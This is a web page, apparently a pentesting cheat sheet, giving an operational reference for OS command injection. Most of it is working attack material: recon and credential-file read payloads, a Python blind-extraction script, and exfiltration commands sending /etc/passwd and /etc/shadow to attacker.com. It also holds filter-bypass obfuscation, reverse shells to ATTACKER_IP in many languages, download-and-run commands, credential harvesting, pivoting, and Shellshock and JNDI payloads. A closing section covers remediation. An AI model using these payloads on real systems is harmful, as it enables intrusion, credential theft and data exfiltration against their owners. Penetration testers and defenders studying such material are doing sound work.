ᛉ Yggdrasil

Web

Command Injection

15 Sep 2026 · 5,094 words · 23 min

Contents

A complete operational reference for OS Command Injection covering detection, in-band, blind (time-based & OOB), filter/WAF bypass, language-specific sinks, reverse shells, post-exploitation, automation with tools, and remediation. Mapped to MITRE ATT&CK T1059 / T1190.


1. Core Concepts & Injection Types

COMMAND INJECTION TAXONOMY:

OS COMMAND INJECTION
├── IN-BAND (output returned in response)
│   ├── Classic — injected command output reflected in page
│   └── Error-based — stderr/exception leaks output
│
├── BLIND (no output in response)
│   ├── Time-based — measure response delay to infer execution
│   └── Out-of-Band (OOB) — exfiltrate data via DNS / HTTP callback
│
└── SECOND-ORDER (stored injection)
    └── Payload stored → triggered by later background process

Key Terms: - Injection Point — parameter where user input is passed unsafely to a shell. - Shell Metacharacter — special character interpreted by the shell to chain commands (;, |, &&, `, $(), \n). - Command Chaining — using metacharacters to append additional commands after the intended one. - Subshell — $(cmd) or `cmd` — executes a command and substitutes its output inline. - Blind Injection — app executes the injected command but never returns output to the user. - OOB — Out-of-Band — data exfiltrated via DNS lookup or HTTP request from the server. - Second-Order — input is stored (e.g. in a database or filename) and later executed by another process/cron. - Context — the shell context matters: are you inside quotes, inside a script, inside a curl URL, etc.?

Why It Happens: The application passes user-controlled data to a system shell function without sanitization:

# Python — vulnerable
os.system("ping -c 1 " + user_input)
subprocess.call("nmap " + target, shell=True)

# PHP — vulnerable
system("dig " + $_GET['domain']);
exec("whois " . $_POST['ip']);

The OS shell interprets metacharacters in user_input and executes attacker-controlled commands.


2. Detection & Fingerprinting

2.1 Common Injection Points

→ Network utilities: ping, nslookup, dig, traceroute, whois parameters
→ File operations: filename fields, path parameters, archive/convert tools
→ Email fields: recipient address passed to sendmail
→ Search boxes: fed into grep, find, or awk
→ Image/document processors: ImageMagick, ffmpeg, ghostscript
→ URL/domain fields: passed to curl, wget
→ Log viewer parameters: tail -f <user_input>
→ Scheduled job / cron management interfaces
→ Git repository URL fields (git clone <user_input>)
→ API parameters that trigger shell-side processing

2.2 Break & Observe Method

Start with valid input (e.g. 8.8.8.8 for a ping field) and append metacharacters one at a time:

Append to input Observation if vulnerable
8.8.8.8;id Output of id appears in response
8.8.8.8\|id id output replaces ping output
8.8.8.8\|\|id id runs only if ping fails
8.8.8.8&&id id runs only if ping succeeds
8.8.8.8`id` Subshell — id output substituted
8.8.8.8$(id) Subshell (POSIX) — same effect
8.8.8.8%0aid URL-encoded newline — newline-separated commands
8.8.8.8\nid Literal newline if decoded server-side

2.3 Confirming Blind Injection

When there's no output in the response, use time-delay:

# Linux — sleep
; sleep 5
| sleep 5
&& sleep 5
$(sleep 5)
`sleep 5`

# Windows — timeout / ping loop
& timeout /t 5
& ping -n 5 127.0.0.1

# Observe: does the response take ~5 seconds longer? → blind command injection confirmed

2.4 Encoding & Context Awareness

If the parameter is in a URL, values are URL-encoded before reaching the server:

Character URL Encoded Shell Role
; %3B Command separator
\| %7C Pipe
& %26 Background / AND
` %60 Subshell
$ %24 Variable / subshell
( %28 Subshell open
) %29 Subshell close
\n %0A Newline separator
\r %0D Carriage return
<space> %20/+ Argument separator

Tip: Always try both raw and URL-encoded forms. Burp Repeater lets you toggle URL encoding per field.


3. Injection Operators Reference

3.1 Linux / Unix Shell Operators

Operator Syntax Behavior Notes
Semicolon cmd1; cmd2 Run cmd2 regardless of cmd1 exit code Most universal
Pipe cmd1 \| cmd2 stdout of cmd1 → stdin of cmd2 cmd2 always runs
AND cmd1 && cmd2 Run cmd2 only if cmd1 succeeds (exit 0) Requires prior command to succeed
OR cmd1 \|\| cmd2 Run cmd2 only if cmd1 fails (non-zero exit) Good when you want error path
Background cmd1 & cmd2 Run cmd1 in background, then cmd2 Both run, async
Subshell $(cmd) Execute cmd, substitute its output POSIX standard
Backtick `cmd` Execute cmd, substitute its output Legacy subshell syntax
Newline cmd1\ncmd2 Shell treats newline as command separator Useful when ; is filtered
Null byte cmd%00 Terminate string at null byte (C parsing) Rare, context-dependent

3.2 Windows CMD Operators

Operator Syntax Behavior
& cmd1 & cmd2 Run both regardless of exit code
&& cmd1 && cmd2 Run cmd2 only if cmd1 succeeds
\| cmd1 \| cmd2 Pipe stdout of cmd1 to cmd2
\|\| cmd1 \|\| cmd2 Run cmd2 only if cmd1 fails
Newline cmd1\r\ncmd2 New command line in batch context

3.3 PowerShell Operators

Operator Syntax Behavior
; cmd1; cmd2 Sequential — both run
\| cmd1 \| cmd2 Pipeline — PS objects flow through
&& cmd1 && cmd2 Run cmd2 only if cmd1 succeeds (PS 7+)
\|\| cmd1 \|\| cmd2 Run cmd2 only if cmd1 fails (PS 7+)
Subexpression $(cmd) Execute cmd inline

4. In-Band Command Injection

HOW IT WORKS:
The output of the injected command is returned directly in the HTTP response —
either embedded in HTML, JSON, XML, or error messages.

4.1 Basic Recon Payloads (Linux)

# Identity & context
;id
;whoami
;id;hostname
;id;uname -a

# Current directory & file listing
;pwd
;ls -la
;ls -la /

# Network info
;ifconfig
;ip a
;hostname -I
;cat /etc/hosts

# Process context
;cat /proc/self/status
;cat /proc/version

# OS info
;cat /etc/os-release
;uname -a

# User enumeration
;cat /etc/passwd
;cut -d: -f1 /etc/passwd

# Environment / secrets
;env
;printenv
;cat /proc/self/environ

4.2 Basic Recon Payloads (Windows)

& whoami
& whoami /all
& hostname
& ipconfig /all
& systeminfo
& net user
& net localgroup administrators
& tasklist
& dir C:\
& type C:\Windows\System32\drivers\etc\hosts
& set

4.3 File Read via In-Band

# Linux
;cat /etc/passwd
;cat /etc/shadow
;cat ~/.ssh/id_rsa
;cat /var/www/html/config.php
;cat /proc/self/environ | tr '\0' '\n'
;find / -name "*.conf" -readable 2>/dev/null | head -20
;find / -name "id_rsa" 2>/dev/null

# Windows
& type C:\inetpub\wwwroot\web.config
& type C:\Windows\win.ini
& type C:\Users\Administrator\Desktop\root.txt

4.4 Space-Free Output Tricks

When output is embedded in a context that strips whitespace or wraps at a certain width:

# Use IFS variable (Internal Field Separator) to create space
cat${IFS}/etc/passwd

# Redirect output to web-accessible file, then fetch it
;id > /var/www/html/out.txt
# Then: curl http://target.com/out.txt

# Base64 encode output to avoid weird chars in response
;id | base64
;cat /etc/passwd | base64 -w 0

5. Blind — Time-Based

HOW IT WORKS:
No command output is returned. Instead, inject a sleep/delay command and measure
whether the HTTP response takes longer than expected. A delay confirms execution.

5.1 Linux Sleep Payloads

# Semicolon separator
; sleep 5
;sleep${IFS}5

# Pipe
| sleep 5

# AND (prior command must succeed)
&& sleep 5

# OR (prior command must fail)
|| sleep 5

# Subshell
$(sleep 5)
`sleep 5`

# Newline (URL-encode as %0A)
%0Asleep%205

# Nested in quotes — context: "ping -c 1 <INPUT>"
"; sleep 5 #
' ; sleep 5 #

5.2 Windows Delay Payloads

# ping loop (each ping ~1s)
& ping -n 6 127.0.0.1
# timeout (Windows Vista+)
& timeout /t 5 /nobreak > nul

# PowerShell
& powershell -c "Start-Sleep 5"

5.3 Blind Data Extraction — Time-Based

Extract data one character at a time by comparing ASCII values and sleeping on match:

# Test if first char of /etc/passwd is 'r' (ASCII 114)
# Delay occurs if true
; if [ $(cut -c1 /etc/passwd) = 'r' ]; then sleep 5; fi

# Extract a specific character's ASCII value using binary search (manual)
; if [ $(cat /etc/passwd | cut -c1 | od -An -tu1 | tr -d ' ') -gt 100 ]; then sleep 5; fi

# Loop-based full extraction (scripted)
; a=$(id | cut -c1); if [ "$a" = "u" ]; then sleep 5; fi

5.4 Python Script — Blind Time-Based Extractor

import requests, time, string

TARGET  = "https://target.com/ping"
PARAM   = "ip"
DELAY   = 5
CHARSET = string.printable.strip()

def is_true(payload):
    data = {PARAM: f"127.0.0.1; {payload}"}
    start = time.time()
    try:
        requests.post(TARGET, data=data, timeout=DELAY + 5)
    except requests.exceptions.Timeout:
        pass
    elapsed = time.time() - start
    return elapsed >= DELAY

def extract_char(query, pos):
    for ch in CHARSET:
        payload = f'if [ "$(echo $({query}) | cut -c{pos})" = "{ch}" ]; then sleep {DELAY}; fi'
        if is_true(payload):
            return ch
    return ""

def extract_string(query, max_len=60):
    result = ""
    for i in range(1, max_len + 1):
        ch = extract_char(query, i)
        if not ch:
            break
        result += ch
        print(f"[+] Pos {i}: {ch} → {result}")
    return result

print("[*] Extracting whoami...")
print(f"[+] Result: {extract_string('whoami')}")

print("[*] Extracting /etc/passwd line 1...")
print(f"[+] Result: {extract_string('head -1 /etc/passwd')}")

6. Blind — Out-of-Band (OOB)

HOW IT WORKS:
Inject a command that makes the server send data to an attacker-controlled
external host via DNS, HTTP, or a TCP connection.
Use Burp Collaborator, interactsh, or a simple netcat listener.

6.1 DNS-Based OOB

# nslookup — most universally available
; nslookup $(whoami).attacker.com
; nslookup $(cat /etc/passwd | head -1 | base64).attacker.com

# curl DNS resolution
; curl http://$(whoami).attacker.com

# ping DNS lookup (not guaranteed to resolve but often does)
; ping -c 1 $(id).attacker.com

# dig
; dig $(whoami).attacker.com

6.2 HTTP-Based OOB (Data Exfiltration)

# curl — most reliable
; curl http://attacker.com/$(whoami)
; curl "http://attacker.com/?data=$(id | base64 -w0)"
; curl "http://attacker.com/?data=$(cat /etc/passwd | base64 -w0)"
; curl "http://attacker.com/?f=$(cat /etc/shadow | base64 -w0)"

# wget
; wget http://attacker.com/$(whoami)
; wget -q "http://attacker.com/?data=$(id | base64)"

# Send file contents via POST
; curl -X POST http://attacker.com/exfil --data-urlencode "f@/etc/passwd"
; curl -F "file=@/etc/shadow" http://attacker.com/upload

# Bash /dev/tcp (no curl/wget needed)
; bash -c 'exec 3<>/dev/tcp/attacker.com/80; echo -e "GET /$(whoami) HTTP/1.0\r\nHost:attacker.com\r\n\r\n" >&3'

6.3 OOB Listener Setup

# Burp Collaborator (Pro) — built-in DNS/HTTP listener
# Generate payload host: abcdef.oastify.com

# interactsh (free & open source alternative)
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# Gives you: xxxx.oast.fun → use as callback host

# Simple HTTP server (catch curl/wget)
python3 -m http.server 80
nc -lvnp 80

# DNS logging with tcpdump (if you control a domain)
tcpdump -i eth0 port 53 -n

# netcat TCP listener (for /dev/tcp exfil)
nc -lvnp 4444

6.4 Windows OOB

# nslookup
& nslookup %USERNAME%.attacker.com

# PowerShell HTTP
& powershell -c "Invoke-WebRequest -Uri http://attacker.com/$(whoami)"
& powershell -c "(New-Object Net.WebClient).DownloadString('http://attacker.com/'+$env:USERNAME)"

# DNS via certutil
& certutil -urlcache -split -f http://attacker.com/%USERNAME%/a.txt nul

# SMB-based OOB (no HTTP needed)
& net use \\attacker.com\share

7. Filter & WAF Bypass Techniques

7.1 Space Bypass

# IFS variable (Internal Field Separator — default is space/tab/newline)
cat${IFS}/etc/passwd
id;cat${IFS}/etc/passwd

# Tab character (%09)
cat%09/etc/passwd

# Brace expansion
{cat,/etc/passwd}

# Redirect as space substitute (input redirect)
cat</etc/passwd

# Variable expansion
X=$'cat\x20/etc/passwd';$X

7.2 Command Substitution Variations

# Standard
$(id)
`id`

# Nested
$( $( id ) )

# With whitespace bypass
$(id)
$IFS$9$(id)

# Case manipulation (some shells evaluate variable names case-insensitively on Windows)
$( Id )

7.3 Keyword / Blacklist Bypass

# ── cat is filtered ──
# Use tac (reverse cat)
tac /etc/passwd

# Use less / more / head / tail
less /etc/passwd
head /etc/passwd
tail /etc/passwd

# Use while read loop
while read line; do echo $line; done < /etc/passwd

# Use awk
awk '{print}' /etc/passwd

# Use sed
sed '' /etc/passwd

# Use tr
tr -d '' < /etc/passwd

# Use xxd then decode
xxd /etc/passwd | xxd -r

# ── whoami is filtered ──
who am i
/usr/bin/id
id -un
$( printf '\x77\x68\x6f\x61\x6d\x69' )   # hex-encoded whoami

# ── id is filtered ──
$(printf '\151\144')     # octal-encoded id
$(echo -e '\x69\x64')   # hex in echo

# ── /etc/passwd is filtered ──
/???/pa??wd               # glob matching
/etc/p?sswd
/etc/./passwd             # dot traversal
cat /etc/'passwd'

7.4 String Obfuscation

# Variable slicing and concatenation
a=cat;b=/etc/passwd;$a $b
a=c;b=at;$a$b /etc/passwd

# Quote insertion (quotes inside a string are ignored by shell)
c'at' /etc/passwd
c"at" /etc/passwd
w'ho'am'i'

# Backslash escape (bash ignores \ before non-special chars)
c\at /etc/passwd
wh\oami

# Environment variables
echo $HOME        # leaks info
${PATH:0:1}       # extracts '/' from $PATH for path building
${SHELL}          # /bin/bash

# Build /etc/passwd from variables
P="/etc/passwd"
cat $P

# Hex encoding via printf or echo
$(printf '\x63\x61\x74 \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')
# decodes to: cat /etc/passwd

7.5 Operator Substitution

# If ; is filtered → use newline (%0A)
cmd1%0Acmd2

# If | is filtered → use ;
cmd1;cmd2

# If both | and ; are filtered → use &&
cmd1&&cmd2

# If & is filtered → use $(cmd)
$(id)

# If all separators are filtered → use pipes with allowed chars
echo "id" | bash
echo "id" | sh
echo -n "aWQ=" | base64 -d | bash    # base64("id") → run in bash

7.6 Encoding & Case Manipulation

# URL encoding (if app double-decodes)
%3B     → ;
%7C     → |
%26     → &
%0A     → \n

# Double URL encoding
%253B   → %3B → ;

# Unicode normalization (rare — depends on WAF/framework)
;   (U+FF1B, fullwidth semicolon) → may normalize to ;

# Bash case is irrelevant — commands are case-sensitive on Linux
# On Windows CMD:
wHoAmI
WHOAMI

7.7 Redirection Tricks

# Redirect stderr to stdout (see errors)
;id 2>&1

# Write output to file, then read via another parameter
;id>/var/www/html/x.txt
# then: GET /x.txt

# Read file without cat using redirect
;bash -c 'echo < /etc/passwd'      # not useful
;while read x; do echo $x; done</etc/passwd

# Use cp to bring sensitive file to web root
;cp /etc/passwd /var/www/html/p.txt

8. Language & Framework Sinks

8.1 PHP

// Vulnerable sinks:
system($input);
exec($input, $output);
shell_exec($input);
passthru($input);
popen($input, 'r');
proc_open($input, ...);
`$input`;              // backtick operator
preg_replace('/e', $replacement, $subject);   // /e modifier — deprecated but old code

// Vulnerable example:
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);   // inject: 127.0.0.1; id

// Also: mail() passes 5th arg to sendmail -f (header injection → CI)
mail($to, $subject, $body, $headers, "-f" . $from);
// Inject in $from: attacker@x.com\n-oQ/tmp/\n-X/var/www/html/shell.php

8.2 Python

# Vulnerable sinks:
os.system(input)
os.popen(input)
subprocess.call(input, shell=True)       # shell=True is the danger
subprocess.run(input, shell=True)
subprocess.Popen(input, shell=True)
commands.getoutput(input)               # Python 2
eval(input)                             # may lead to CI via __import__

# Vulnerable example:
import subprocess
domain = request.args.get('domain')
result = subprocess.check_output(f"dig {domain}", shell=True)
# Inject: google.com; id

# SAFE alternative:
result = subprocess.check_output(["dig", domain])  # no shell=True, list form

8.3 Node.js

// Vulnerable sinks:
const { exec } = require('child_process');
exec('ping ' + userInput, callback);        // vulnerable

const execSync = require('child_process').execSync;
execSync('nslookup ' + domain);             // vulnerable

// Also vulnerable:
eval(userInput)
new Function(userInput)()

// SAFE:
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', userInput], callback);  // args as array, no shell

8.4 Java

// Vulnerable sinks:
Runtime.getRuntime().exec("cmd " + userInput);        // string form
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "cmd " + userInput);

// Spring/Groovy:
Eval.me(userInput)           // Groovy eval

// SAFE:
String[] cmd = {"ping", "-c", "1", userInput};
Runtime.getRuntime().exec(cmd);   // array form — no shell interpolation

8.5 Ruby

# Vulnerable sinks:
system("ping " + params[:ip])
`ping #{params[:ip]}`
exec("nmap " + target)
IO.popen("dig " + domain)
eval(user_input)

# SAFE:
system("ping", "-c", "1", params[:ip])  # array form — no shell

8.6 Perl

# Vulnerable sinks:
system("ping " . $input);
`ping $input`;
open(FH, "dig $domain |");
exec("nslookup " . $host);
eval($code);

# SAFE:
system("ping", "-c", "1", $input);   # list form

8.7 ImageMagick (CVE-2016-3714 — ImageTragick)

# Malicious image filename / content processed by convert
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id ")'
pop graphic-context

# Payload in policy.xml bypass
convert 'https://attacker.com/`id`.png' out.png

# MSL (Magick Scripting Language) injection
# Upload file with .msl extension processed by ImageMagick

8.8 log4shell-Style (JNDI Injection → RCE)

# Though technically JNDI injection (not OS CI), often treated alongside CI
# Payload in any logged header:
${jndi:ldap://attacker.com/a}
${jndi:ldaps://attacker.com/a}
${jndi:rmi://attacker.com/a}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a}

# Inject into: User-Agent, X-Forwarded-For, Accept-Language, username fields

9. Windows-Specific Techniques

9.1 CMD Recon

& whoami
& whoami /priv
& whoami /groups
& whoami /all
& net user
& net localgroup
& net localgroup Administrators
& hostname
& ipconfig /all
& systeminfo
& tasklist /v
& netstat -ano
& reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
& dir C:\Users\
& type C:\Users\Administrator\Desktop\root.txt
& dir /s /b C:\ 2>nul | findstr /i "password"

9.2 PowerShell via CMD Injection

# Launch PowerShell from CMD injection
& powershell -c "whoami"
& powershell -enc <base64-encoded-command>
& powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"

# Bypass execution policy
& powershell -ep bypass -c "whoami"

# Encoded command (avoids quote escaping issues)
# Encode: powershell -c "whoami" → base64 UTF-16LE
echo -n 'whoami' | iconv -f UTF-8 -t UTF-16LE | base64
& powershell -enc dwBoAG8AYQBtAGkA

9.3 Windows Bypass Techniques

# Obfuscation via environment variables
%COMSPEC% /c whoami       # %COMSPEC% = C:\Windows\System32\cmd.exe
%windir%\system32\cmd.exe /c id

# Environment variable substrings
%ComSpec:~0,1%            # → C
# Build "calc" from substrings: complex but viable

# Cmd caret (^) escape character
w^h^o^a^m^i
wh^oam^i

# PowerShell tick escape
wh`oami
who`ami

# Double quote insertion
who"ami"

9.4 Windows File Read

& type C:\Windows\System32\drivers\etc\hosts
& type C:\inetpub\wwwroot\web.config
& more C:\Windows\win.ini
& findstr /si "password" C:\*.xml C:\*.config C:\*.txt
& dir /s /b "C:\Users\" 2>nul

10. Reverse Shell Payloads

10.1 Setup Listener

# Standard netcat listener
nc -lvnp 4444

# Socat (better shell — gets a proper TTY)
socat tcp-listen:4444,reuseaddr,fork file:`tty`,raw,echo=0

# pwncat-cs (most featureful)
pwncat-cs -lp 4444

10.2 Linux Reverse Shells

# ── bash ──
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196

# ── sh ──
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# ── python3 ──
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# ── python2 ──
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# ── perl ──
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# ── ruby ──
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# ── netcat (with -e) ──
nc -e /bin/sh ATTACKER_IP 4444

# ── netcat (without -e — mkfifo) ──
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

# ── socat ──
socat TCP:ATTACKER_IP:4444 EXEC:/bin/sh

# ── PHP ──
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ATTACKER_IP",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

# ── Java ──
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

# ── awk ──
awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

10.3 Windows Reverse Shells

# PowerShell TCP reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Nishang reverse shell (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER_IP -Port 4444

# netcat for Windows (if available)
nc.exe ATTACKER_IP 4444 -e cmd.exe

# mshta (scriptlet)
mshta.exe http://ATTACKER_IP/shell.sct

10.4 Upgrade Shell to Fully Interactive TTY

# After catching a dumb shell:

# Method 1 — Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then Ctrl+Z → background
stty raw -echo; fg
# Press Enter twice
export TERM=xterm
stty rows 40 cols 180

# Method 2 — socat listener (full TTY from start)
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

# Method 3 — rlwrap (partial improvement)
rlwrap nc -lvnp 4444

# Method 4 — pwncat-cs (automatic upgrade)
pwncat-cs -lp 4444

11. Post-Exploitation via Command Injection

11.1 File Download to Target

# curl
curl http://ATTACKER_IP/linpeas.sh -o /tmp/lpe.sh && bash /tmp/lpe.sh

# wget
wget http://ATTACKER_IP/linpeas.sh -O /tmp/lpe.sh

# bash /dev/tcp (no curl/wget)
bash -c 'exec 3<>/dev/tcp/ATTACKER_IP/80; echo -e "GET /file.sh HTTP/1.0\r\nHost:ATTACKER_IP\r\n\r\n" >&3; cat <&3 > /tmp/f.sh'

# Python
python3 -c "import urllib.request; urllib.request.urlretrieve('http://ATTACKER_IP/f.sh','/tmp/f.sh')"

# Windows (PowerShell)
IWR http://ATTACKER_IP/f.exe -OutFile C:\Windows\Temp\f.exe
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP/f.exe','C:\Temp\f.exe')

# Windows certutil
certutil -urlcache -split -f http://ATTACKER_IP/f.exe C:\Temp\f.exe

11.2 Privilege Escalation Shortcuts

# Drop linpeas
curl http://ATTACKER_IP/linpeas.sh | bash

# Check sudo without password
sudo -l

# SUID binaries
find / -perm -u=s -type f 2>/dev/null

# World-writable files
find / -writable -type f 2>/dev/null | grep -v /proc | grep -v /sys

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

# Capabilities
getcap -r / 2>/dev/null

11.3 Credential Harvesting

# Config files
grep -r "password" /var/www/ 2>/dev/null
grep -r "DB_PASS\|DATABASE_PASSWORD\|db_password" /var/www/ 2>/dev/null
find / -name "*.env" -readable 2>/dev/null
find / -name "config.php" -readable 2>/dev/null
find / -name "settings.py" -readable 2>/dev/null
find / -name "application.properties" -readable 2>/dev/null

# SSH keys
find / -name "id_rsa" -readable 2>/dev/null
find / -name "*.pem" -readable 2>/dev/null
cat ~/.ssh/authorized_keys

# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.python_history
cat ~/.mysql_history

# Credential files
cat /etc/passwd
cat /etc/shadow   # if readable → crack with hashcat

11.4 Network Pivoting via Shell

# Port scan internal network from victim
for i in $(seq 1 254); do (ping -c 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i up") &; done

# Simple TCP port check
bash -c 'cat /dev/null > /dev/tcp/192.168.1.5/22 && echo open || echo closed'

# Create SOCKS proxy with SSH (if you have creds)
ssh -D 1080 user@VICTIM -N -f

# Upload chisel for SOCKS proxy
# Attacker:
./chisel server -p 9001 --reverse
# Victim:
./chisel client ATTACKER_IP:9001 R:1080:socks

12. Automation — commix & Other Tools

12.1 commix — Command Injection Exploitation Tool

# Basic scan — GET parameter
commix --url="http://target.com/ping.php?ip=127.0.0.1"

# POST parameter
commix --url="http://target.com/ping.php" --data="ip=127.0.0.1"

# Specific parameter
commix --url="http://target.com/ping.php?ip=127.0.0.1" -p ip

# Cookie-based injection
commix --url="http://target.com/" --cookie="session=abc; ip=127.0.0.1"

# Custom header
commix --url="http://target.com/" -H "X-IP: 127.0.0.1"

# Use Burp request file
commix -r /tmp/request.txt

# Specify injection technique
commix --url="..." --technique=classic     # in-band
commix --url="..." --technique=timebased  # blind time-based
commix --url="..." --technique=semiblind  # file-based

# Skip question prompts
commix --url="..." --batch

# Run OS commands
commix --url="..." --os-cmd="id"
commix --url="..." --os-cmd="cat /etc/passwd"

# Drop into interactive shell
commix --url="..." --os-shell

# Get a reverse shell
commix --url="..." --os-shell --reverse-tcp --ip=ATTACKER_IP --port=4444

# Authentication
commix --url="..." --auth-type=basic --auth-cred="admin:pass"

# WAF bypass options
commix --url="..." --tamper=space2ifs         # space → ${IFS}
commix --url="..." --tamper=base64encode
commix --url="..." --level=3                  # probe more aggressively

12.2 Burp Suite — Active Scan & Manual Testing

# Manual testing in Burp Repeater:
1. Send request with valid param to Repeater
2. Append ; sleep 5 — watch response time
3. Try all operator variants (|, &&, ||, $(), newline)
4. Try OOB with Burp Collaborator payload:
   ; nslookup $(whoami).BURP_COLLAB_HOST
   ; curl http://BURP_COLLAB_HOST/$(id|base64)

# Burp Active Scan — Command Injection checks:
- Right-click request → Scan → Active Scan
- Burp will test time-based and OOB (Collaborator) payloads automatically

12.3 Nuclei Templates

# Run all command injection templates
nuclei -u http://target.com -t nuclei-templates/vulnerabilities/generic/command-injection* -v

# Time-based blind CI templates
nuclei -u http://target.com -t nuclei-templates/vulnerabilities/generic/ -tags blind

# Network-level CI (e.g. Shellshock)
nuclei -u http://target.com -t nuclei-templates/vulnerabilities/apache/ -tags shellshock

12.4 Specialized Payloads — Shellshock (CVE-2014-6271)

# Shellshock in User-Agent (classic):
User-Agent: () { :; }; /bin/bash -c 'id'
User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Shellshock in other headers:
Referer: () { :; }; echo; /bin/bash -c 'id'
Cookie: () { :; }; echo; /bin/bash -c 'id'
X-Forwarded-For: () { :; }; echo; id

# curl exploit:
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' http://target.com/cgi-bin/status

13. Remediation

13.1 Primary Defense — Avoid Shell Calls

# ── Python — WRONG ──
os.system("ping -c 1 " + user_ip)
subprocess.call("ping -c 1 " + user_ip, shell=True)

# ── Python — SAFE ──
# Pass command as list, shell=False (default)
result = subprocess.run(["ping", "-c", "1", user_ip], capture_output=True, timeout=10)
// ── Node.js — WRONG ──
exec('ping -c 1 ' + userIp, callback)

// ── Node.js — SAFE ──
execFile('ping', ['-c', '1', userIp], callback)
// ── PHP — WRONG ──
system("ping -c 1 " . $_GET['ip']);

// ── PHP — SAFE ──
$ip = escapeshellarg($_GET['ip']);
system("ping -c 1 " . $ip);
// Better: validate IP via filter_var first, then run
if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
    system("ping -c 1 " . escapeshellarg($_GET['ip']));
}

13.2 Input Validation (Allowlist)

import re
import ipaddress

def validate_ip(ip):
    try:
        ipaddress.ip_address(ip)
        return True
    except ValueError:
        return False

def validate_domain(domain):
    pattern = r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}[a-zA-Z0-9]$'
    return bool(re.match(pattern, domain))

# Use BEFORE any subprocess call
if not validate_ip(user_input):
    abort(400, "Invalid IP address")

13.3 Shell Escaping Functions

# PHP:
escapeshellarg($input)    # wraps in single quotes, escapes internal single quotes
escapeshellcmd($input)    # escapes shell metacharacters
# Prefer escapeshellarg — more reliable
# Python — shlex.quote
import shlex
safe = shlex.quote(user_input)
os.system(f"ping -c 1 {safe}")   # still not ideal — prefer list form
# Ruby — Shellwords.escape
require 'shellwords'
safe = Shellwords.escape(user_input)

13.4 Defense-in-Depth

PRIMARY CONTROL:
├── Avoid shell calls entirely — use native library functions
│   (e.g. DNS: dnspython, Ping: socket ICMP, HTTP: requests)
├── If shell call required → pass args as array (never string concat)
└── Strict input validation via allowlist (regex, type checking)

SECONDARY CONTROLS:
├── escapeshellarg / escapeshellcmd on all shell params
├── Run app process as low-privilege user (no root, no sudo)
├── Restrict outbound network from app server (blocks OOB)
├── chroot / namespaces / containers → limit blast radius
├── Seccomp / AppArmor / SELinux → restrict allowed syscalls
└── WAF rules for CI metacharacters (not primary — bypassable)

DETECTION:
├── Log all subprocess / shell calls with arguments
├── Alert on shell execution from web process tree
├── RASP (Runtime Application Self-Protection) for Java/.NET
├── Egress monitoring — unexpected outbound DNS/HTTP from app
